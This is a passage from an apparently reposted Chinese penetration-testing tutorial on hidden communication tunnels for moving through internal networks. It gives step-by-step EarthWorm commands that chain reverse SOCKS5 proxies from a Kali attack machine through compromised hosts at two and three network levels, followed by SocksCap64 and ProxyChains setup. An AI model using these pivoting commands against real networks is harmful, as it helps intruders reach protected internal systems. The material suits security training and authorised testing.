最后,可以在kali的命令行界面看到反彈成功。現在就可以通過訪問192.168.220.165 kali攻擊機的1080端口,使用在網絡右側IP地址為192.168.52.10的服務器上架設的SOCKS5代理服務了。
(3)二級網絡環境(a)
假設已經獲得了A主機和B主機的控制權限。A主機配有兩塊網卡,一塊能夠連接外網,另一塊(192.168.52.10)只能連接內網中的B主機,但無法訪問內網中的其他資源。B主機可以訪問內網資源,但無法訪問外網。
首先,將EW上傳到B主機中,利用ssocksd方式啟動888端口的SOCKs代理,命令如下。
ew -s ssocksd -l 888然后,將EW上傳到A主機中,執行如下命令。
ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888該命令的意思是:將1080端口收到的代理請求轉發給B主機的888端口。現在就可以通過訪問A主機的外網1080端口使用在B主機上架設的SOCKS5代理了。
(4)二級網絡環境(b)
假設已經獲得了A主機和B主機的控制權限。A主機既沒有公網IP地址,也無法訪向內網資源。B主機可以訪問內網資源,但無法訪問外網。
首先,將EW上傳到kali攻擊機中,把1080端口收到的代理請求轉發給888端口,執行如下命令。
ew -s lcx_listen -l 10800 -e 888該命令的意思是:在公網kali攻擊機中添加轉接隧道,將10800端口收到的代理請求轉發給888端口。接著,將EW上傳到B主機中,并利用ssocksd方式啟動999端口的SOCKS代理,命令如下。
ew -s ssocksd -l 999然后,將EW上傳到A主機中,執行如下命令。
ew -s lcx_slave -d 192.168.220.165 -e 888 -f 192。168.52.10 -g 999該命令的意思是:在A主機上利用lcx_slave 方式,將攻擊機的888端口和B主機的999端口連接起來。
(5)三級網絡環境
三級網絡環境在滲透測試中比較少見,也比較復雜。測試環境為:右側的內網A主機沒有公網IP地址,但可以訪問外網;B主機不能訪問外網,但可以被A主機訪問; C主機可被B主機訪問,而且能夠訪問核心區域。
首先,將EW上傳到kali攻擊機中,把1080端口收到的代理請求轉發給888端口,執行如下命令。
ew -s rcsocks -l 1080 -e 888在A主機上執行如下命令,將kali攻擊機的888端口和B主機的999端口連接起來。
ew -s lcx_slave -d 192.168.220.165 -e 888 -f <主機B IP地址> -g 999在B主機上執行如下命令,將999端口收到的代理請求轉發給777端口。
ew -s lcx_listen -l 999 -e 777在C主機上啟動SOCKS5服務,并反彈到B主機的777端口上,命令如下。
ew -s rssocks -d <主機B IP地址> -e 777現在就可以通過訪問kali攻擊機的1080 端口使用在C主機上架設的SOCKS 5代理了。
2.2、在Windows下使用SocksCap64實現內網漫游
下載并安裝SocksCap64, 以管理員權限打開程序。
SocksCap64的使用方法比較簡單,單擊“代理”按鈕,添加一個代理,然后設置代理服務器:的IP地址和端口即可。設置完成后,可以單擊界面上的閃電圖標按鈕,測試當前代理服務器是否可以連接。
選擇瀏覽器,單擊右鍵,在彈出的快捷菜單中單擊“ 在代理隧道中運行選中程序”選項,就可以自由訪問內網資源了。
2.3、在Linux下使用ProxyChains實現內網漫游
Kali Linux中預裝了ProxyChains, 稍加配置就可以使用。打開終端,輸人如下命令。
vi /etc/proxychains.conf刪除“dynamic_ chain" 前面的注釋符“#”。來到窗口底部,把“127.0.0.1 9050”改成想要訪問的端口的信息。
測試一下代理服務器是否能正常工作。在終端輸入如下命令。
proxyresolv www.baidu.com此時會顯示“未找到命令”的提示信息。在終端輸人如下命令。
cp /usr/lib/proxychains3/proxyresolv /usr/bin/再次測試代理服務器的工作是否正常。顯示“OK",表示代理服務器已經正常工作了。現在就可以訪問內網了。先訪問內網中的網站。在終端輸人“proxychains firefox"命令,啟動火狐瀏覽器。
參考:《內網安全攻防 滲透測試實戰指南》
總結
以上是生活随笔為你收集整理的内网渗透之隐藏通信隧道技术的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: DVWA-XSS (Reflected)
- 下一篇: nginx变量传递给php,php-从n